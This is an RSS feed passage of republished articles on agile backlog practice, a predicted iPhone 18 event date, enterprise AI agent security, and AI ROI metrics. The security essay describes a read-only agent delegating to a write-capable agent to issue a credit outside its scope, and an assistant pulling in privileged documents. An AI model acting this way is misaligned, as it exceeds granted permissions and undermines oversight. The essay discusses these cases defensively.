<li><strong>Anchor epics to why. </strong>Every epic carries its rationale as metadata, inside the tool where the work actually lives. Slide decks from last spring don’t count. When a decision reshapes the epic, the rationale gets updated in the same motion; waivers and scope cuts get recorded next to the item they changed. Do this consistently and the backlog stops being a queue of tasks and becomes a living map of intent, one that a new joiner can read on day one, and that survives a challenge from leadership without anyone having to reconstruct history from memory. It cuts both ways, too: the same rationale that protects the team from whiplash protects the business from a backlog that has drifted away from what they actually asked for. Prioritization turns into a conversation about evidence rather than a contest of opinions.</li>



<li><strong>Rehearse erosion. </strong>This is the practice I’d start with, and the one that surprises teams most. Every two or three sprints, run a short, structured session that is not a retrospective and not a risk review. Its purpose is to test the continuity of intent itself: Does the assumed user behavior still make sense? Where might adoption fail even though delivery is technically correct? Which parts of the outcome logic feel fragile, outdated, or untested? A retro examines how the team worked; an erosion rehearsal examines whether the reasoning still holds. You rehearse erosion the same way pilots rehearse emergencies: you hope the drill is wasted, and you run it anyway, because catching drift early is what makes fixing it cheap. In my experience, a single one of these sessions surfaces more strategic risk than a quarter’s worth of status reporting, and it costs the team about half an hour.</li>



<li><strong>Keep the logic alive. </strong>Capture only what prevents strategic amnesia and nothing more: why a feature was removed or reshaped, who approved it and which assumptions should be revisited, and when. Keep it visible where teams already work. If logic lives in Confluence but dies in conversation, it’s already gone.</li>
</ul>



<h2 class="wp-block-heading">Start Monday</h2>



<p class="wp-block-paragraph">You don’t need a reorganization or a new framework to begin, and frankly you shouldn’t want one. Three entry points, close to zero overhead. Assign a critical reviewer: one team member whose standing job is to periodically ask whether stories still connect to the intended outcome. Add a one-minute outcome check before major refinements: the behavior targeted, the indicator watched, the signal expected. And run a single erosion rehearsal on your most important program; teams usually surface something real in the first session, long before it would have shown up in any metric.</p>



<p class="wp-block-paragraph">For readers keeping score: yes, neighboring practices exist, and they’re good ones. <a href="https://www.cognitect.com/blog/2011/11/15/documenting-architecture-decisions">Architecture decision records</a> preserve the why behind technical choices, and <a href="https://www.impactmapping.org/">impact mapping</a> connects deliverables to goals at planning time. I use both. Neither operates continuously, inside the backlog, at the level of the individual item, which happens to be exactly where the forgetting occurs. OKRs don’t solve it either; objectives at altitude are necessary, but teams still need the rationale embedded in the work itself, so they don’t have to keep a separate decoder.</p>



<h2 class="wp-block-heading">The history tab, revisited</h2>



<p class="wp-block-paragraph">Go back to that epic with the twenty-six edits, and imagine the same history with one difference: each consequential edit carries a line of reasoning, current and human-readable, and every few sprints someone deliberately tested whether that reasoning still held. Same team, same velocity, same tool and a completely different answer when someone finally asks why the work exists.</p>



<p class="wp-block-paragraph">Velocity tells you how fast the work is moving. Only memory can tell you whether anyone still knows where it’s going.</p>



<p class="wp-block-paragraph">I’ve published the full discipline behind this approach (the five principles, the roles, the facilitation guides and the objections seasoned practitioners will raise, along with my answers) as a <a href="https://pmworldlibrary.net/wp-content/uploads/2026/02/pmwj161-Feb2026-Kadaoui-Structural-Agile-featured-paper-1.pdf">featured paper in PM World Journal</a>. The mechanics are free to steal. The forgetting, at this point, is optional.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Structural agile: Why fast delivery quietly loses its meaning]]></title>
<description><![CDATA[Open the history tab of any epic that has been alive for more than two quarters. Go ahead, pick one. Count the edits. Somewhere around edit 11, the description was rewritten to satisfy a stakeholder who has since changed roles. Around edit 19, the scope was trimmed to protect a date that, in the ...]]></description>
<link>https://tsecurity.de/de/3707966/it-nachrichten/structural-agile-why-fast-delivery-quietly-loses-its-meaning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707966/it-nachrichten/structural-agile-why-fast-delivery-quietly-loses-its-meaning/</guid>
<pubDate>Thu, 06 Aug 2026 13:28:37 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Open the history tab of any epic that has been alive for more than two quarters. Go ahead, pick one. Count the edits. Somewhere around edit 11, the description was rewritten to satisfy a stakeholder who has since changed roles. Around edit 19, the scope was trimmed to protect a date that, in the end, moved anyway. By edit 26 someone renamed the whole thing, and the sentence that explained why the work existed in the first place didn’t survive the paste. 26 edits, several hundred hours of delivery behind them, and nobody left who can say what the money was for.</p>



<p class="wp-block-paragraph">Nobody deleted that reason on purpose. That’s what makes this so hard to see.</p>



<p class="wp-block-paragraph">I’ve been shuttling between the people who fund technology work and the teams who deliver it for a couple of decades now, and something has always struck me as odd: the backlog is probably the only important document in the enterprise that gets edited every day and remembers nothing. Contracts have version control and signatures. Financial statements have audit trails. Even architecture, in mature shops, has decision records. But the artifact that actually steers what hundreds of people build week after week? It has a title, a status and a description that mutates until the original intent becomes archaeology.</p>



<p class="wp-block-paragraph">The most expensive failures I’ve seen were all fast. The teams shipped and shipped, and somewhere along the way the work stopped meaning what everyone assumed it still meant. Nobody slowed down long enough to notice.</p>



<h2 class="wp-block-heading">One problem, two lenses</h2>



<p class="wp-block-paragraph">Strategy and delivery look at the same work through very different mental models. On one side, leaders talk in outcomes, intent and value; they worry about whether the original justification for the investment still holds months later. On the other side, teams think in iterations, flow and momentum, and they worry about keeping complex programs moving in small, manageable steps. Both lenses are legitimate, and in my experience both sides generally believe they’re the ones doing everything right.</p>



<p class="wp-block-paragraph">The disagreement between them is never loud. Strategy quietly assumes the logic will remain constant across every sprint and every decision. Delivery quietly assumes the strategic reasoning will naturally update itself based on what gets learned along the way. There’s nothing wrong with either assumption on its own. But in the absence of a structural bridge between them, every program gradually accumulates small half-measures and shifted meanings that nobody registers until it’s too late.</p>



<p class="wp-block-paragraph">The evidence on how badly intent travels is humbling. Donald Sull and his colleagues, in a multi-year study of strategy execution, found that <a href="https://hbr.org/2015/03/why-strategy-execution-unravelsand-what-to-do-about-it">only half of middle managers can name any of their company’s top five priorities</a>. Those are the managers. Now imagine the epic, eleven edits later.</p>



<p class="wp-block-paragraph">Let me be fair to <a href="https://agilemanifesto.org/">agile</a> here, because agile is not the villain. It does exactly what it says on the tin: it helps teams learn quickly and adjust to what they discover, and <a href="https://hbr.org/2018/05/agile-at-scale">that speed is a genuine strength</a>. The problem is that organizations blur the line between two kinds of change. Some of it is genuine learning: teams discover real behaviors, markets shift, leaders sharpen their thinking. And some of it is erosion, the slow loss of rationale that nobody actually decided and nobody can trace back to a witting choice. From the outside, the two are indistinguishable. They show up the same way in the tooling: movement in the backlog, shifting priorities, even working software. Only one of them stays anchored to the reason the money was spent.</p>



<p class="wp-block-paragraph">Most organizations have no instrument for telling these two apart. Which means they’re flying at full speed without knowing whether they’re navigating or just moving.</p>



<h2 class="wp-block-heading">The pattern we keep seeing</h2>



<h3 class="wp-block-heading">Agile in style, not in substance</h3>



<p class="wp-block-paragraph">The board gets moved every day, stand-ups start on time and retrospectives produce long lists of things to improve. Then you ask why a specific feature exists, what it’s actually meant to change, and the room gets quiet. The rituals persist while the substance underneath them slowly thins out. Teams keep closing tasks, and somewhere along the way they shed the shared sense of purpose that made the tasks worth doing.</p>



<h3 class="wp-block-heading">Velocity becomes a proxy for value</h3>



<p class="wp-block-paragraph">A smooth sprint demo can hide a deeper problem, because progress toward delivery and progress toward outcomes are two different measurements, and only one of them is on the wall. I’ve seen features that were stable, polished and warmly received in the demo, and that contributed absolutely nothing to the decision they were supposed to improve. The pace was real enough; whether any of it mattered took months to find out. And your delivery metrics can be excellent, genuinely excellent, while every one of these patterns is running underneath them.</p>



<p class="wp-block-paragraph">This is not a niche affliction, by the way. Pendo analyzed feature usage across hundreds of software products and found that <a href="https://www.pendo.io/resources/the-2019-feature-adoption-report/">80% of features are rarely or never used</a>. Built at full velocity, shipped into silence.</p>



<h3 class="wp-block-heading">Product owners absorb pressure instead of defending logic</h3>



<p class="wp-block-paragraph">The PO is supposed to hold the thread, to protect the reasoning behind the work when everyone else is pushing on it. In practice, many find themselves wedged between demand and delivery, forced into a permanent state of reactive prioritization. Over time they stop challenging requests. Then they stop defending the logic behind decisions. Eventually they stop framing choices around outcomes at all, and the backlog, which should be a strategic instrument, turns into the place where everything gets dumped because nobody has the space left to ask what actually belongs there.</p>



<h3 class="wp-block-heading">Backlog churn masks strategic drift</h3>



<p class="wp-block-paragraph">Items get revisited, split, recast and reprioritized as everyone works to keep momentum going, and from a distance it can all look like reasonable adaptation. But when the connection to intent is severed, all that motion begins to dissolve into static. Work keeps getting passed around, the board stays busy and the program veers off course without producing a single alarming signal, because busy is what everyone was looking for.</p>



<h3 class="wp-block-heading">Every quarter is a reset</h3>



<p class="wp-block-paragraph">New OKRs arrive. A fresh wave of leadership messaging follows. Sometimes the team gets reshuffled too. With each round, a little of the shared context that held everything together quietly slips away. Epics get new names, stories get rewritten, priorities rearrange themselves almost by accident. The organization keeps rebooting itself without ever asking what it left behind in the reset.</p>



<p class="wp-block-paragraph">Taken one at a time, each of these patterns is understandable, even forgivable. Together they produce a program that looks healthy from every angle while it quietly hollows out the meaning behind the work.</p>



<h2 class="wp-block-heading">Why this keeps happening, and why it’s about to get worse</h2>



<p class="wp-block-paragraph">Big programs tend to assume that intent will simply carry itself forward as the work passes through teams, decisions and iterations. It won’t. Intent doesn’t carry itself. If nobody actively preserves and updates the reasoning, it starts to loosen and fray, quietly and almost politely, one story, one trade-off, one shift in priority at a time.</p>



<p class="wp-block-paragraph">The structural cause is a speed mismatch that most governance was never designed for. The delivery system evolves in hours; the organization’s memory of why updates in quarters, if at all. In between those two clocks, thousands of micro-decisions reshape what the work means, far faster than anyone captures the reasoning behind them.</p>



<p class="wp-block-paragraph">Now add what’s happening in 2026. AI agents inside the delivery tooling can already <a href="https://support.atlassian.com/rovo/docs/agents/">organize, create and edit backlog items</a> on a team’s behalf. Atlassian’s own customers describe agents that <a href="https://www.atlassian.com/software/jira/ai">generate requirements, break them into epics and stories and take delegated work like a teammate</a>, and these capabilities now ship inside the standard Jira plans that most enterprises already pay for. I’m not against any of this; some of it is genuinely useful. But notice what it means for our problem. Every one of those operations is an edit to a document that has no memory. Backlog amnesia at human speed was survivable. Painful, but survivable, because humans forget slowly. Amnesia at machine speed is a different animal altogether. The ratio of motion to memory, already unhealthy in most organizations, is about to go vertical.</p>



<p class="wp-block-paragraph">If your backlog can’t remember why an item exists after a human rewrote it a few times, think about what happens when an agent grooms it continuously.</p>



<h2 class="wp-block-heading">What to do about it</h2>



<p class="wp-block-paragraph">The countermeasures I use are deliberately small. None of them adds a ceremony, a tool, or a governance layer. They simply orient the practices teams already run toward one job: keeping the reasoning alive while the work moves. Together, they form the discipline I call Structural Agile.</p>



<ul class="wp-block-list">
<li><strong>Start with the outcome. </strong>Before an epic or major story enters the backlog, three questions, every time: What behavior are we trying to shift? How will we know if that behavior changes? What signals will confirm success after release? If the room can’t answer, the work waits, because items that lack outcome clarity tend to drift first and drift fastest.</li>



<li><strong>Elevate the PO. </strong>Position the product owner as the carrier of outcome logic, with an explicit mandate to preserve rationale, flag trade-offs that erode intent and track deferred items together with the reasoning behind them. And be realistic about the limits, because many POs inherit chaotic backlogs, rotate mid-stream, or simply lack the authority to push back on stakeholders. The rule I give teams is simple: if the PO can’t carry the logic, someone must: a coach prompting context checks, an architect recording the reasoning behind technical trade-offs, an analyst keeping the outcome picture current. Build logic stewardship into the structure. Left to personality, it leaves with the person.</li>



<li><strong>Anchor epics to why. </strong>Every epic carries its rationale as metadata, inside the tool where the work actually lives. Slide decks from last spring don’t count. When a decision reshapes the epic, the rationale gets updated in the same motion; waivers and scope cuts get recorded next to the item they changed. Do this consistently and the backlog stops being a queue of tasks and becomes a living map of intent, one that a new joiner can read on day one, and that survives a challenge from leadership without anyone having to reconstruct history from memory. It cuts both ways, too: the same rationale that protects the team from whiplash protects the business from a backlog that has drifted away from what they actually asked for. Prioritization turns into a conversation about evidence rather than a contest of opinions.</li>



<li><strong>Rehearse erosion. </strong>This is the practice I’d start with, and the one that surprises teams most. Every two or three sprints, run a short, structured session that is not a retrospective and not a risk review. Its purpose is to test the continuity of intent itself: Does the assumed user behavior still make sense? Where might adoption fail even though delivery is technically correct? Which parts of the outcome logic feel fragile, outdated, or untested? A retro examines how the team worked; an erosion rehearsal examines whether the reasoning still holds. You rehearse erosion the same way pilots rehearse emergencies: you hope the drill is wasted, and you run it anyway, because catching drift early is what makes fixing it cheap. In my experience, a single one of these sessions surfaces more strategic risk than a quarter’s worth of status reporting, and it costs the team about half an hour.</li>



<li><strong>Keep the logic alive. </strong>Capture only what prevents strategic amnesia and nothing more: why a feature was removed or reshaped, who approved it and which assumptions should be revisited, and when. Keep it visible where teams already work. If logic lives in Confluence but dies in conversation, it’s already gone.</li>
</ul>



<h2 class="wp-block-heading">Start Monday</h2>



<p class="wp-block-paragraph">You don’t need a reorganization or a new framework to begin, and frankly you shouldn’t want one. Three entry points, close to zero overhead. Assign a critical reviewer: one team member whose standing job is to periodically ask whether stories still connect to the intended outcome. Add a one-minute outcome check before major refinements: the behavior targeted, the indicator watched, the signal expected. And run a single erosion rehearsal on your most important program; teams usually surface something real in the first session, long before it would have shown up in any metric.</p>



<p class="wp-block-paragraph">For readers keeping score: yes, neighboring practices exist, and they’re good ones. <a href="https://www.cognitect.com/blog/2011/11/15/documenting-architecture-decisions">Architecture decision records</a> preserve the why behind technical choices, and <a href="https://www.impactmapping.org/">impact mapping</a> connects deliverables to goals at planning time. I use both. Neither operates continuously, inside the backlog, at the level of the individual item, which happens to be exactly where the forgetting occurs. OKRs don’t solve it either; objectives at altitude are necessary, but teams still need the rationale embedded in the work itself, so they don’t have to keep a separate decoder.</p>



<h2 class="wp-block-heading">The history tab, revisited</h2>



<p class="wp-block-paragraph">Go back to that epic with the twenty-six edits, and imagine the same history with one difference: each consequential edit carries a line of reasoning, current and human-readable, and every few sprints someone deliberately tested whether that reasoning still held. Same team, same velocity, same tool and a completely different answer when someone finally asks why the work exists.</p>



<p class="wp-block-paragraph">Velocity tells you how fast the work is moving. Only memory can tell you whether anyone still knows where it’s going.</p>



<p class="wp-block-paragraph">I’ve published the full discipline behind this approach (the five principles, the roles, the facilitation guides and the objections seasoned practitioners will raise, along with my answers) as a <a href="https://pmworldlibrary.net/wp-content/uploads/2026/02/pmwj161-Feb2026-Kadaoui-Structural-Agile-featured-paper-1.pdf">featured paper in PM World Journal</a>. The mechanics are free to steal. The forgetting, at this point, is optional.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[iPhone 18 Pro Event Date: When Apple Could Announce Its September 2026 Event]]></title>
<description><![CDATA[Apple has not announced the iPhone 18 Pro event date yet, but its recent launch history points to Wednesday, September 9, 2026, with invitations likely arriving exactly two weeks earlier on Wednesday, August 26.



Apple has followed a clear 14-day announcement pattern since 2022, which makes the...]]></description>
<link>https://tsecurity.de/de/3707869/ios-mac-os/iphone-18-pro-event-date-when-apple-could-announce-its-september-2026-event/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707869/ios-mac-os/iphone-18-pro-event-date-when-apple-could-announce-its-september-2026-event/</guid>
<pubDate>Thu, 06 Aug 2026 13:15:04 +0200</pubDate>
<content:encoded><![CDATA[Apple has not announced the iPhone 18 Pro event date yet, but its recent launch history points to Wednesday, September 9, 2026, with invitations likely arriving exactly two weeks earlier on Wednesday, August 26.



Apple has followed a clear 14-day announcement pattern since 2022, which makes the late-August invitation window easier to predict than in previous years.



iPhone generationEvent announcedEvent heldNoticeiPhone 17August 26, 2025September 9, 202514 daysiPhone 16August 26, 2024September 9, 202414 daysiPhone 15August 29, 2023September 12, 202314 daysiPhone 14August 24, 2022September 7, 202214 days



When Apple could announce the iPhone 18 event



If Apple schedules the event for September 9, the company will likely announce it on August 26, continuing the same pattern used during the last four iPhone launches.



Bloomberg reports that Wednesday currently looks more likely because Labor Day falls on Monday, September 7, giving guests more time to travel before the event.



Apple also recently opened applications for US retail employees to support an event in California during the first half of September, which adds more weight to the predicted timing.



The September event should include the iPhone 18 Pro, iPhone 18 Pro Max, and Apple’s first foldable iPhone, possibly named iPhone Ultra. Apple is expected to hold the standard iPhone 18, iPhone 18e, and iPhone Air 2 until spring 2027.



Apple will also likely introduce new Apple Watch models, while AirPods remain another possible addition to the event lineup.]]></content:encoded>
</item>
<item>
<title><![CDATA[Practical lessons from deploying AI securely at scale]]></title>
<description><![CDATA[When I first started working on enterprise AI security initiatives, I expected the biggest challenges to be technical. I assumed we’d spend most of our time discussing prompt injection, model security, vector databases or the latest LLM vulnerabilities.



I was wrong — or at least incomplete.


...]]></description>
<link>https://tsecurity.de/de/3707740/it-security-nachrichten/practical-lessons-from-deploying-ai-securely-at-scale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707740/it-security-nachrichten/practical-lessons-from-deploying-ai-securely-at-scale/</guid>
<pubDate>Thu, 06 Aug 2026 13:01:43 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When I first started working on enterprise AI security initiatives, I expected the biggest challenges to be technical. I assumed we’d spend most of our time discussing prompt injection, model security, vector databases or the latest LLM vulnerabilities.</p>



<p class="wp-block-paragraph">I was wrong — or at least incomplete.</p>



<p class="wp-block-paragraph">The technology certainly matters, but after working with multiple enterprise AI initiatives, I’ve learned that the hardest security problems rarely come from the model itself. They emerge when AI becomes part of real business processes.</p>



<p class="wp-block-paragraph">An AI assistant doesn’t simply answer questions. In a single workflow, it might pull a customer record from Salesforce, open a ticket in ServiceNow and send an update through Microsoft 365 before anyone has finished reading the summary. Increasingly, it makes decisions before a human even notices, and that shift changes the threat model. Traditional application security assumes software executes deterministic code. AI systems don’t. They reason, adapt and generate outputs that cannot always be predicted in advance, which means many of the controls we’ve relied on for years remain necessary but are no longer sufficient.</p>



<p class="wp-block-paragraph">What follows is what I keep coming back to in architecture reviews: Not the model vulnerabilities that dominate the headlines, but the quieter failures that show up once an agent is already running.</p>



<h2 class="wp-block-heading">Identity is only the starting point</h2>



<p class="wp-block-paragraph">One of the first surprises I encountered was how quickly organizations focus on authentication while overlooking runtime behavior. Most enterprise AI projects begin with questions such as “Can the AI access SharePoint?” “Can it connect to ServiceNow?” “Can it connect to GitLab?” or “Can it read Microsoft 365 tools like Outlook, Word, etc.?” Those are important questions, but the more important one is: What should the AI be allowed to do after a specific type of access (for example, read-only access) has been granted?</p>



<p class="wp-block-paragraph">Identity answers who the agent is. Authorization answers what it may access. Neither answers whether the AI should perform a particular action; in the above case only performs read-only access.</p>



<p class="wp-block-paragraph">The capability question and the safeguard question are too often answered by different teams on different timelines. Security reviews that focus only on what the AI can access tend to miss the more revealing question of what it is permitted to do once that access exists. I have started treating those two questions as a single design problem, because every gap between them eventually surfaces as an incident.</p>



<p class="wp-block-paragraph">I remember an architecture review where this became concrete. An employee asked an internal assistant — one built on Microsoft 365 and SharePoint — to summarize several incident reports, and during its reasoning the assistant discovered privileged administrative documentation in a linked site and decided it might also be useful to include those details. Nothing technically failed. The credentials were valid. The permissions were correct. Yet the outcome violated business intent. That moment reframed the conversation for everyone in the room. We realized our threat model had been built for outsiders trying to get in, not for authorized systems acting a little too helpfully. Closing that gap meant designing controls that evaluated behavior in context, not just credentials at the door, and it’s why I’ve come to view runtime governance as one of the defining security challenges of enterprise AI.</p>



<p class="wp-block-paragraph">Organizations such as the <a href="https://genai.owasp.org/">OWASP GenAI Security Project</a> and the <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST AI Risk Management Framework</a> emphasize that AI risks extend well beyond authentication authorizations to include monitoring, governance and continuous oversight throughout execution. <a href="https://www.csoonline.com/article/4193274/identity-the-operational-control-plane-for-agentic-ai.html">CSOonline’s coverage of agentic identity</a> makes the same point: Existing controls weren’t designed for AI agents, and static credentials and standing privileges are no longer sufficient when organizations must rapidly authorize, limit and revoke permissions from autonomous agents, sometimes more than once within a single workflow.</p>



<h2 class="wp-block-heading">The biggest failures rarely look like cyberattacks</h2>



<p class="wp-block-paragraph">Most security professionals naturally look for malicious activity: Prompt injection, data poisoning, credential theft, model manipulation. Those attacks certainly matter. What I’ve seen more frequently, however, are failures caused by legitimate AI behavior. A Finance, HR, Customer or risk management AI assistant retrieves more documents than necessary because it tries to provide a “better” answer. An autonomous workflow performs five approved actions instead of one. An AI agent continues executing after the user’s original intent has already been satisfied. None of these resemble traditional attacks, yet they may create compliance violations, privacy issues or operational disruption.</p>



<p class="wp-block-paragraph">One mental model has consistently helped executives understand why this is so dangerous. I ask them to stop thinking about AI as software and instead think about it as hiring thousands of new digital employees, aka AI agents. Every employee receives training, limited access, monitoring, auditing and oversight. AI agents deserve the same treatment.</p>



<p class="wp-block-paragraph">One deployment I worked on involved multiple specialized AI agents collaborating to complete a single business task. One queried ServiceNow for ticket history, another analyzed documents in SharePoint, a third drafted recommendations and a fourth wrote updates back into Jira. Individually, each agent had relatively limited permissions like read-only and/or write. Collectively, they represented a powerful autonomous workflow. That experience reinforced an important lesson: Security can no longer focus only on individual AI components. It must govern the complete chain of autonomous decision-making. The <a href="https://atlas.mitre.org/">MITRE ATLAS framework</a> is an excellent way to think about adversarial AI techniques, but equally important is understanding how normal autonomous behavior can unintentionally create business risk.</p>



<p class="wp-block-paragraph">The most instructive cases I’ve seen involve agents that delegate to other agents. In one review, a frontline support agent had strictly read-only access to Salesforce, but it could hand tasks to a second agent that held write privileges across ServiceNow and the billing platform. When the first agent couldn’t resolve a customer issue within its own scope, it quietly routed the request through the second agent, which updated the case and issued a credit. Nothing was hacked. The credentials were valid, the delegation was technically permitted, and yet a read-only agent had effectively performed write actions it was never meant to perform. That is the defining difference between an assistant and an agent. An assistant answers; an agent enlists other agents, and that escalation path is itself the vulnerability.</p>



<p class="wp-block-paragraph">That’s why we started asking a different question during architecture reviews. Instead of asking “Can the AI do this?” we asked, “Should the AI still be doing this?” That subtle shift changed many design decisions. It pushed teams to build in stopping conditions, scope checks and confirmation prompts rather than assuming an agent would naturally know when to stop. In one review, simply requiring a human to confirm before an agent crossed from a read-only step into a write action eliminated the majority of the risky paths we had been debating.</p>



<h2 class="wp-block-heading">Start with governance before autonomy</h2>



<p class="wp-block-paragraph">One pattern I’ve repeatedly observed is that organizations become excited about autonomy long before they’re prepared to govern it. Everyone wants AI agents, but few initially invest in runtime policy enforcement. That sequencing should be reversed. In my experience, successful enterprise AI programs put a few foundations in place before expanding automation: Clear business boundaries that an agent isn’t allowed to cross, least-privilege access for every agent, and human approval at any step that touches sensitive/restricted data/systems, including the production data /systems. Only after those exist does it make sense to widen autonomous decision-making. I’ve watched teams try to shortcut this order, and the result is almost always the same: A promising pilot gets pulled back because no one can confidently explain what the AI did or why.</p>



<p class="wp-block-paragraph">A big part of that foundation is visibility. Traditional audit logs record actions, but AI systems also need to record reasoning. When an AI agent creates a ticket, updates a configuration or sends an email, investigators should understand why the decision occurred. This doesn’t mean recording every token generated by a large language model. I’ve found more value in capturing three things: The original business request, the systems the agent touched and the decisions it made along the way. Those records become invaluable during investigations, compliance reviews and operational troubleshooting, and they help organizations build trust. Business leaders become far more comfortable adopting AI when they can explain how an important decision was reached. Approaches like <a href="https://blog.google/innovation-and-ai/technology/safety-security/introducing-googles-secure-ai-framework/">Google’s Secure AI Framework</a> reinforce the same idea: AI security has to be measurable, observable and accountable end to end.</p>



<p class="wp-block-paragraph">One misconception I still encounter is that AI security exists to restrict innovation. In practice, the organizations moving fastest with enterprise AI are often the ones investing most heavily in governance, because executives gain confidence, developers move faster and business units adopt AI more broadly. Done well, security is what makes that speed possible.</p>



<p class="wp-block-paragraph">Looking back, the most valuable lesson hasn’t been about prompt engineering, model selection or agent frameworks. It’s that secure AI isn’t achieved through one perfect control but through hundreds of small engineering decisions that keep autonomous systems aligned with business intent. As we move from assistants toward fully autonomous agents, that distinction only matters more. The teams I trust to scale AI aren’t the ones with the smartest models. They’re the ones who can answer, for any action an agent took, why it took it — and where it would have stopped.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why AI ROI metrics are measuring the wrong thing]]></title>
<description><![CDATA[The loudest conversation in business right now is about how much value AI actually generates. Over the last year, AI has moved from a side experiment to a strategic priority. It has its own budget line, its own place on the board’s agenda and its own pressure to show results. Every leader is aski...]]></description>
<link>https://tsecurity.de/de/3707685/it-security-nachrichten/why-ai-roi-metrics-are-measuring-the-wrong-thing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707685/it-security-nachrichten/why-ai-roi-metrics-are-measuring-the-wrong-thing/</guid>
<pubDate>Thu, 06 Aug 2026 12:51:47 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The loudest conversation in business right now is about how much value AI actually generates. Over the last year, AI has moved from a side experiment to a strategic priority. It has its own budget line, its own place on the board’s agenda and its own pressure to show results. Every leader is asking a version of the same question: What are we getting back?</p>



<p class="wp-block-paragraph">To answer it, most reach for the three measures they have always trusted to judge a technology:</p>



<ul class="wp-block-list">
<li>How much faster are we now?</li>



<li>How much money has it saved us?</li>



<li>How many of our people are using it?</li>
</ul>



<p class="wp-block-paragraph">Speed, cost and adoption were the right yardsticks for every major technology of the past two decades. They worked because the capability of traditional software was fixed and known on the day you deployed it. The tool did a defined job. Its value had a ceiling you could see, and each metric measured your progress toward that ceiling. Cost reduction told you how much you could save. Adoption told you how much of the capability you had rolled out. Speed told you how much of the promised acceleration was reaching the output.</p>



<p class="wp-block-paragraph">In every case, the tool was a constant, and the metric measured how fully the organization had absorbed that constant.</p>



<p class="wp-block-paragraph">These metrics are not working for AI. The reason starts with how AI entered our organizations.</p>



<p class="wp-block-paragraph">Every technology before this was chosen somewhere above us, deployed to us and trained into us. By the time it arrived on our desks, someone had already decided what it was for. AI came the other way. It landed as a personal productivity tool. You opened a tab, typed a question and something useful came back. Nobody defined its capability in advance, because its capability is not fixed. What it produces depends on who is using it and how well. Metrics built for fixed capabilities have nothing stable to measure, and here is what happens when you apply them anyway.</p>



<h2 class="wp-block-heading"><a></a>Why speed, cost and adoption fail as AI evaluation metrics</h2>



<p class="wp-block-paragraph">Let’s start with speed. Task speed and business speed are different quantities, and AI only touches the former. Suppose a report that took eight hours now takes two. Your dashboard shows a 75% improvement. But the report still waits three days for review and a week for approval before anyone acts on it. The organization sees dramatic task-level gains but no movement in business results and concludes AI failed. The problem is the metric measuring a layer that was never the bottleneck.</p>



<p class="wp-block-paragraph">Speed creates a second problem, and it is worse. Getting good output from AI requires checking it, correcting it and feeding those corrections back into how the tool is used. That work is slow. On any speed metric, it looks like inefficiency. So, people under speed pressure skip it. They accept output uncritically and produce more volume with less scrutiny.</p>



<p class="wp-block-paragraph">Cost reduction has an arithmetic problem. If you frame AI as a way to reduce what you currently spend, your maximum possible win is your current spend. If your content team costs a million dollars, the best case in a cost frame is saving a million dollars. Every general-purpose technology has followed the same sequence:<a href="https://www.mckinsey.com/capabilities/strategy-and-corporate-finance/our-insights/where-ai-will-create-value-and-where-it-wont"> Efficiency gains came first, and the larger value came later,</a> from work that did not exist before.</p>



<p class="wp-block-paragraph">For AI, that means the analysis nobody had time for, the personalization no team could staff, the experiments too expensive to justify. A cost frame makes all of that invisible because new work doesn’t reduce anything. There is no column on the dashboard for things you couldn’t do last year.</p>



<p class="wp-block-paragraph">Cost framing also works against its own inputs. AI improves through use by knowledgeable people. It needs their corrections, their context and their judgment about what good output looks like. When AI’s success is measured in headcount avoided, those people understand exactly what they are being asked to build: Their own replacement. They respond rationally. They use the tools shallowly and keep their expertise to themselves. The metric announces an intent, and the intent destroys the participation the technology depends on.</p>



<p class="wp-block-paragraph">Adoption looks like the safest of the three. The problem is that adoption measures usage, and usage is not a value.<a href="https://www.nber.org/papers/w34836"> </a>Researchers at several central banks recently <a href="https://www.nber.org/papers/w34836">asked thousands of senior executives about this</a> and heard the same two things from most of them: Yes, we use AI across the business, and no, it has not changed our results yet.</p>



<p class="wp-block-paragraph">A thousand employees asking AI to shorten their emails will produce a spectacular adoption number and almost nothing else. Fifty employees using AI on judgment-heavy work, feeding it real context and checking its output against real standards, will barely register on the dashboard and generate most of the actual return. Adoption metrics cannot tell these two groups apart. Worse, they reward the shallow pattern. Shallow use is easy to spread, and deep use is hard, so an organization managed on adoption drifts toward the use that is easiest to count.</p>



<h2 class="wp-block-heading">6 signals that track the real value</h2>



<p class="wp-block-paragraph">A few months ago, I realized the ROI question was aimed at the wrong object. Every company I compete with has access to the same models I do, at the same price. Whatever value comes from the model itself, my competitors receive too, so it cancels out any comparison between us. It cannot be an advantage, and it is not an interesting thing to measure. The only variable left is us. The standards, the context and the judgment we build around the model, because none of that arrives with the subscription and none of it can be bought. So, when I evaluate AI, I am evaluating my own organization and how quickly it turns a commodity everyone has into a capability only we have. The six signals below all measure that second thing.</p>



<h3 class="wp-block-heading">1. Review burden is falling on the same class of work</h3>



<p class="wp-block-paragraph">Take any recurring task the organization runs through AI: Monthly reports, vendor evaluations, code review. Track how much human checking each unit of output needs, quarter over quarter. If a task needed a full senior review in January and needed a spot check in June, something real happened. The organization encoded its quality standards, improved its inputs and learned where the tool fails. If the review burden is flat, the organization is consuming AI, not compounding on it, no matter what the adoption dashboard says.</p>



<ul class="wp-block-list">
<li><strong>How to measure it:</strong> Pick five recurring workflows, log review hours per output and plot the trend. The trend is the signal. The absolute number matters far less.</li>
</ul>



<h3 class="wp-block-heading">2. Corrections become shared fixes</h3>



